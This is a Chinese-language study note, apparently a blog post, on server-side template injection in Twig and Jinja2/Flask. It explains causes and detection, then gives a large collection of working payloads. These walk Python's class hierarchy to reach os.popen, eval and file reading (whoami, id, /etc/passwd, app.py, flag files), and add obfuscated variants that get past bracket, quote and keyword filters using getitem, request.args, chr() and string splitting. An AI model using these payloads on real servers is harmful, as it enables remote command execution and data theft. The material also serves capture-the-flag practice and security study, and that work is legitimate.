ssti总结

ssti

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xhoPMsmE-1663477021410)(images/LjZ9mqCMvT6xyFlqLIky-XBWvOo36KQpxc8Yp7agLdA.jpg)]

各框架模板结构:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C5wrnBzg-1663477021410)(images/NcsQ1PiKwqmrfPlyk61ZDIuOA62PWLqF94DAZghxarg.png)]

区别jinjia2与twig

{{7*‘7’}} 回显7777777 ==> Jinja2

{{7*‘7’}} 回显49 ==> Twig

常见的模板引擎

php 常用的

  • Smarty:Smarty 一种很老的PHP模板引擎了, 使用的比较广泛

  • Twig: 是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和 liquid。

  • Blade: 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

Java 常用的

  • JSP

  • FreeMarker
          FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

  • Velocity
          Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

Python 常用的

  • Jinja2:flask jinja2 一直是一起说的,使用非常的广泛
  • django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

  • tornado
        tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

一、模板注入与常见Web注入

就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。下面这段代码足以说明这一点:

// SQL 注入
$query="select * from sometable where id=".$_GET['id'];
mysql_query($query);
-------------华丽的分割线-------------
// 模版注入
$temp->render("Hello ".$_GET['username']);

而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

二、模板注入原理

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP 模版引擎Twig 作为例子来说明模板注入产生的原理。考虑下面这段代码:

<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {{name}}",array("name"=>$_GET["name"]));// 将用户输入作为模版变量的值
echo$output;

使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数$_GET[“name”] 。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eU2Cq8s4-1663477021411)(images/OhRjt-s9mfvlPta3Abu3zNWdhXit9OXeLoeDetnTDME.png)]

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo$output;

上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6tq4s2jL-1663477021411)(images/hYoP63ZH1MUl6b5yzQmQOt-hb7Un7dSO24sJWCN37Rs.png)]

什么是模板&模板注入

小学的时候拿别人的好词好句,套在我们自己的作文里,此时我们的作文就相当于模板,而别人的好词好句就相当于传递进模板的内容。

那么什么是模板注入呢,当不正确的使用模板引擎进行渲染时,则会造成模板注入

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V6eGjIbl-1663477021412)(images/k7JdUfd2y98UmJqdX_oJDdthODC-soDoq1vu3YDGP60.png)]

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti

原理:

当我的payload是一个模板语言的时候,该漏洞首先会将该模板语言进行第一次渲染,即将模板语言里面的值替换为其能找到的变量(第一次渲染结束),在进行第二次渲染的时候,由于没有传值进来,故会将第一次渲染后的结果在页面上显示出来。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mUj2WWFd-1663477021412)(images/i8YdH6Yt3y2YISiMKPbc7JFu2-R7kbWWW12WMrI7Ayg.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d2XosfVR-1663477021412)(images/yxQahWxf5Cbb2vs3UO_651DP0m1lOkXq3o5t9fX8OZw.png)]

Flask使用jinja2作为模板引入

三、模板注入检测

上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

借用本文第二部分所用到的代码:

<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo$output;

在 Twig 模板引擎里, {{var}} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{2*10}} ,则在服务端拼接的模版内容为:

Hello{{2*10}}

Twig 模板引擎在编译模板的过程中会计算 {{2*10}} 中的表达式 2*10 ,会将其返回值 20 作为模板变量的值输出,如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u6xRloxg-1663477021413)(images/1dZBUXF8KfzrsCE1MNZo5CGHxZJMRhg2kdVZGY-AKVw.png)]

现在把测试的数据改变一下,插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:

IsVuln{# comment #}{{2*8}}OK

实际服务端要进行编译的模板就被构造为:

HelloIsVuln{# comment #}{{2*8}}OK

这里简单分析一下,由于 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK ,如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QLjAvTS1-1663477021413)(images/HW-NUFnoGQpsDa4LXAwfT4asKDi8VFmmmCbaMxaZyso.png)]

取对象属性的方式:

1、a.b:

如果对象的属性存在,就会调用对象中的__getatribute__(b)

2、a.[‘b’]

如果对象的属性存在,就会调用对象中的__getitem__(b)

例如:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8U1RYnzy-1663477021413)(images/e0DAvxeZrfcREJYlXosRjQToSZmKpRUCMu_xPs-Uc20.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kK1tUY52-1663477021414)(images/hBZ40TvnIGnHvTuFGNKAukhQlC4roGqL67Jxb7CFrxc.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dZ3khFyE-1663477021414)(images/67RJyk5iGlPNa3be7vWd_R8VrB6Md3Ynhx_rv5bu10I.png)]

具体看对象允许哪种方法调用

常用函数:

  • __class__ 类的一个内置属性,表示实例对象的类,返回该对象的类型
  • __base__//对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
  • __mro__//同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
  • __subclasses__() //继承此对象的子类,返回一个列表
  • __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
  • __init__ 初始化类,返回的类型是function
  • __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
  • __globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。
  • __getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
  • __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a[‘b’],就是a.__getitem__(‘b’)
  • __builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
  • __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__(‘os’).popen(‘ls’).read()]
  • __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
  • url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[‘__builtins__’]含有current_app。
  • get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[‘__builtins__’]含有current_app。
  • lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__[‘os’].popen(‘ls’).read()}}
  • current_app 应用上下文,一个全局变量。
  • request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__[‘__builtins__’].open(‘/proc\self\fd/3’).read()
  • request.args.x1 get传参
  • request.values.x1 所有参数
  • request.cookies cookies参数
  • request.headers 请求头参数
  • request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
  • request.data post传参 (Content-Type:a/b)
  • request.json post传json (Content-Type: application/json)
  • config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read() }}

利用流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

随便找一个内置类对象用__class__拿到他所对应的类

  • 用__bases__拿到基本类()
  • 用__subclasses__()拿到基本类的子类
  • 在子类列表中直接寻找可以利用的类getshell

获取基本类:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O7BDVodj-1663477021414)(images/1jwTlV_ZCzZ-Ky5h7qVK32IVSFOMTSL2bQZ_kTauOpY.png)]

法二更麻烦,因为需要通过[1]选取方法来找到object

获取基本类的方法

[].__class__.__base__

‘’.__class__.__mro__[2]

().__class__.__base__

{}.__class__.__base__

request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用

或者

[].__class__.__bases__[0] //其他的类似

获取基本类(object)的子类

object:是所有类的父类

[].__class__.__base__.__subclasses__()

object.__subclasses__()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guZEjGa7-1663477021414)(images/2HnnfsHU8CEfCd-MwR_h1xy-sZU4WuYZjl00oFzZokA.png)]

payload分析

__class__

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class ‘str’>。

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __base__

以字符串返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JKRcHlTH-1663477021415)(images/7oe7wvPMKxqw1iWeh9EYJqmSMR0D_4oH2Snpoxa–rg.png)]

可以看到__bases__返回了test()的两个父类,__base__返回了test()的第一个父类,__mro__按照子类到父类到父父类解析的顺序返回所有类。

__subclasses__()

获取类的所有子类。

__init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals
__globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

例子分析:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rxfxO8FY-1663477021415)(images/2VQALGA6ncSV52vaXQxSIk_ZhfBx0HHOuy8GDuo-N8M.jpeg)]

  1. ‘’.__class__.__mro__[1]先找到父类object,
  2. ‘’.__class__.__mro__[1].__subclasses__()再找到该父类的所有子类,再从子类里面找到可以执行命令或者可以读取文件的类(重点关注os/file这些关键字)
  3. import os 从该含有内置函数的类里面找到import方法,导入import方法里面的os模块,

或者:

获取到subclasses后,初步看一下没有能直接执行命令或者获取文件内容的,接下来使用init.globals来看看有没有os module或者其他的可以读写文件的模块

{{“”.__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}

这里可以用burp来爆破303这个数字,从0爆破到一千,可以发现有很多个内置类都可以使用os这个模块,于是就可以利用os模块里的popen函数执行系统命令,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-74XIVIPB-1663477021415)(images/9Pq40afei1anZFXEQka3z3LQ7cJJVfXvrcageWfdq1U.png)]

  1. 再使用其内置方法read(),将读取到的内容显示出来

最终payload:

{{“”.__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[“os”][“popen”](“whoami”).read()}}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BaZEMDCF-1663477021415)(images/LEAHS8OcqRc-lBu37xVtS3XcvxI8U25SKyfNNpNDsbw.png)]

找模块

https://www.bilibili.com/video/BV1GE411w7qZ?from=search&seid=7352938298793989553&spm_id_from=333.337.0.0

模板注入payload

>>> [].__class__
<type 'list'>

>>> [].__class__.__base__
<type 'object'>

>>> [].__class__.__base__.__subclasses__
<built-in method __subclasses__ of type object at 0x55a9f3d5cb80>

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

>>> [].__class__.__base__.__subclasses__()[40]
<type 'file'>

>>> [].__class__.__base__.__subclasses__()[40]('/etc/hosts','r').read()
'127.0.0.1tlocalhostn127.0.1.1tdebiannn# The following lines are desirable for IPv6 capable hostsn::1  

调用File函数

[].__class__.__base__.__subclasses__()[40]('/etc/hosts','r').read()通过调用File函数来读取或者写文件。

“”.__class__.__mro__[-1].__subclasses__()[40](‘/etc/hosts’).read()

直接使用popen(python2不行)

os._wrap_close类里有popen。

  • “”.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[‘popen’](‘whoami’).read()
  • “”.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen(‘whoami’).read()

使用os下的popen

可以从含有os的基类入手,比如说linecache

  • “”.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[‘os’].popen(‘whoami’).read()

使用__import__下的os(python2不行)

可以使用__import__的os。

  • “”.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__(‘os’).popen(‘whoami’).read()

__builtins__下的多个函数

__builtins__下有eval,__import__等的函数,可以利用此来执行命令。

  • “”.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘id’).read()”)
  • “”.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval(“__import__(‘os’).popen(‘id’).read()”)
  • “”.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__(‘os’).popen(‘id’).read()
  • “”.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘id’).read()

利用python2的file类读写文件

在python3中file类被删除了,所以以下payload只有python2中可行。

用dir来看看内置的方法:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QYPjOFRB-1663477021416)(images/rWTtbX9lxs7hcawWpg4cnwnbh1Df8M_sbVRNtye04p0.png)]

#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()

#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python2的str类型不直接从属于属于基类,所以要两次 .__bases__

拆分bypass1:

如果遇到SSTI,我们要知道一个python-web框架中哪些payload可用,那一个一个发请求手动测试就太慢,这里就需要用模板的控制语句来写代码操作。

{% for c in [].__class__.__base__.__subclasses__() %}   
  {% if c.__name__ == 'catch_warnings' %}   
    {% for b in c.__init__.__globals__.values() %}   
      {% if b.__class__ == {}.__class__ %}  
         {% if 'eval' in b.keys() %}   
         {{ b['eval']('__import__("os").popen("id").read()') }}   
         {% endif %}   
      {% endif %}   
     {% endfor %}   
    {% endif %}   
{% endfor %} 
{% for c in [].__class__.__base__.__subclasses__() %}   
  {% if c.__name__ == 'catch_warnings' %}   
    {% for b in c.__init__.__globals__.values() %}  
      {% if b.__class__ == {}.__class__ %} 
         {% if 'ev'+'al' in b.keys() %}   
         {{ b['ev'+'al']('__impo'+'rt__'+'("o"+"s")'+'.po'+'pen'+'("ls /").read()') }}   
         {% endif %}   
      {% endif %}   
     {% endfor %}   
    {% endif %}   
{% endfor %} 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTOxdAkB-1663477021416)(images/8z44D98XREcU3SE7l-G5qkCtyaGD2cZestppuoCC2Xk.png)]

分析:

第一条语句

{% for c in [].__class__.__base__.__subclasses__() %}

  • __class__

先一步步来,我们将payload一行行拆开,了解每一行的作用到底是什么,首先我们需要知道在python中’.__class__'是用来获得当前数据实例化的类是什么的,举个例子:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AmlQZ2xI-1663477021417)(images/ecr7SWCxkuAFNfJZCQkmQGb2ROX1n74n9Qi41BU9RxY.png)]

我们可以看到,利用’.__class__‘获得了对应数据所使用的类,因此payload第一句是获得’[]'对应的类为"<class ‘list>’"

  • __base__

接着’.__bases__‘和’.__mro__'类似,是获得该类的父类集合的元组,简单的例子如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dbZyKuIl-1663477021417)(images/n1un5Myz16njd8fkwmSf8dLRH1QDmKme1pKiHD9q8OY.png)]

  • __subclasses__()

这个属性是用于查看类中所有存活子类的引用,可以理解为只要有子类应用该父类,其返回就会包含该子类,我们已经知道了object是所有类的父类,因此利用Object基类去调用该属性,会返回所有可调用的子类,如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7v7iD9BK-1663477021417)(images/uOMdHGHoR9aws7WVfyth44Dpq1hRgJlcj9gylyM5Rfc.png)]

因此第一条语句是在用for循环进行遍历寻找可调用类中的子类.

第二条语句

{% if c.__name__ == ‘catch_warnings’ %}

  • __name__属性

这个属性常常用if__name__=='__main__'作为语句开始,他的作用是获得当前调用模块的名字,因此这条语句的作用是判断当前使用模块的名字是否为"catch_warnings".

同时我们需要知道访问os模块是从warnings.catch_warnings入手的,这里就相当于我们在寻找os模块

第三条语句

{% for b in c.__init__.__globals__.values() %}

这个语句首先将查找到os模块进行实例化,然后利用__globals__查找该模块下一个包含可使用的方法和变量的字典,后面那个values()实际上是调用Python字典里面values()方法,将键值对的值取出并将这些值进行迭代。

第四,五句语句

{% if b.__class__ == {}.__class__ %}

{% if ‘eval’ in b.keys() %}

这两句先是查找了b中类与字典类相同的变量和函数(模块中的函数是以键值对的形式存储的,因此需要寻找同字典类型的类),然后再在对应b中寻找有无’eval’为Key值的存在,举个例子就知道这条语句在干什么了,例子如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q34BP99i-1663477021418)(images/EytC_NhGvQ2bQjQGknr9-Ti-zvYl02q-HFBb-qWbGIE.png)]

这里我们看到已经找了eval函数的所在地了,现在需要做的只是使用它

第六句语句

{{ b[‘eval’](‘__import__(“os”).popen(“id”).read()’) }}

这里相当于调用了eval()方法执行我们需要注入的内容,然后利用__import__动态加载入了os模块,利用.popen()方法打开一条系统通道,在执行这条命令之后返回了一个file类型的对象,从而可以让我们读取执行命令之后的内容,随后利用file对象里的read方法进行读取,从而获得回显.

拆分bypass2

原理就是找到含有__builtins__的类,然后利用。

#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}



#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('文件名', 'r').read() }}{% endif %}{% endfor %}

#读取源代码文件
{% for c in [].__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

#字符串拼接绕过waf,读取根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
或者
{% for c in [].__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

#读取flag
#法一:拼接法
{% for c in ().__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_f' + 'lag.txt','r').read()}}{% endif %}{% endfor %}

#法二:切片法
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

另一种通用命令执行payload

这种payload思考方法和前面的类似,都是通过基类object进行查找,找到os所在的位置然后执行相应的系统命令,同类型的payload有:

[].__class__.base__.__subclasses__()[(warnings.catch_warnings所在位置)].__init__.func_globals.linecache.os.popen('id').read()

这里利用了一个.func_globals属性是用于查找该类下的全局函数,后面的.linecache则是读取任意文件的某一行,通过这个方法找到os,然后再利用popen()执行系统命令,并用read进行读取.

绕过方法:

https://eastjun.top/2021/10/22/ssti_bypass/

https://xz.aliyun.com/t/6885

1、过滤中括号[]

  • getitem()

“”.__class__.__mro__[2] “”.__class__.__mro__.__getitem__(2).__subclasses__()[300].__init__.__globals__[“os”][“popen”](“whoami”).read()}}

  • pop()

‘’.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(‘/etc/passwd’).read()

  • 字典读取

__builtins__[‘eval’]() __builtins__.eval()

经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HMrz4n6i-1663477021419)(images/sXM3FAUVnd0F6F7E4JLyfzVtNf8-LI-IFo630TbE0Q0.jpeg)]

原理:

回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os。

所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。

不过还是建议用getitem,因为pop会破坏数组的结构。

pop() 方法移除数组的最后一个元素,并返回该元素

来自* <https://www.w3school.com.cn/jsref/jsref_pop.asp> *

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WXcmoR1o-1663477021419)(images/ZwPEJ-dV7WBnyLy-MNLjpOOEW2KxcN_Omu_Y3YLN-lU.png)]

a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:


{{“”.__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__[“os”][“popen”](“whoami”).read()}}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oII9FOws-1663477021419)(images/StqOCtCRcBd6oeh6bsl-D4o2Ya5L87Fn1b986Zb_3Rk.png)]

2、过滤引号

web363-过滤‘“

  • chr**()**
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}} 
  • 借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)
{{   ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.a).read()   }}&a=/etc/passwd  
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat   /flag
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()}}&cmd=id

PS**:将其中的request.args改为request.values则利用post的方式进行传参**

  • 执行命令:
{% set   chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()}} 

原理:

回顾我们上面的payload,哪里使用了引号?

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-quVN0Srk-1663477021419)(images/DZfxax6JDAXqyS6VKVWOcQ1Z0vwS-v7juAWCLvVKdWU.png)]

接下来思考对应的解决办法,首先第一个引号的作用是什么,是为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替,所以上述payload就变成了:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

在fuzz的时候发现,数据结构可以被替换为数组、字典,以及数字0。

再看看后面的引号是用来干嘛的,首先看看.init.globals返回的是什么类型的数据:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rQS8Vw1X-1663477021420)(images/nSvwVCX1mcxiUXhTfHtrYZxncrs6QUVQzlCxdy6lmEU.png)]

所以第一个引号就是获取字典内对应索引的value,这里我们可以使用request.args来绕过此处引号的过滤。

request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RBpfJ615-1663477021420)(images/tMj2Lc8mr9WDjHEMcGUgQt8b_7j1SEfKBVNzObYjVAY.jpeg)]

所以第二个引号的绕过方法即:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

后面的所有引号都可以使用该方法进行绕过。

还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。

首先fuzz一下chr()函数在哪:

payload:

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mymBu851-1663477021420)(images/MRoZk7D8uoCNOEw0zKMo5fxTQIUpTnCcvIQK2woa_ZE.png)]

通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

接着尝试使用chr尝试绕过后续所有的引号:

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}

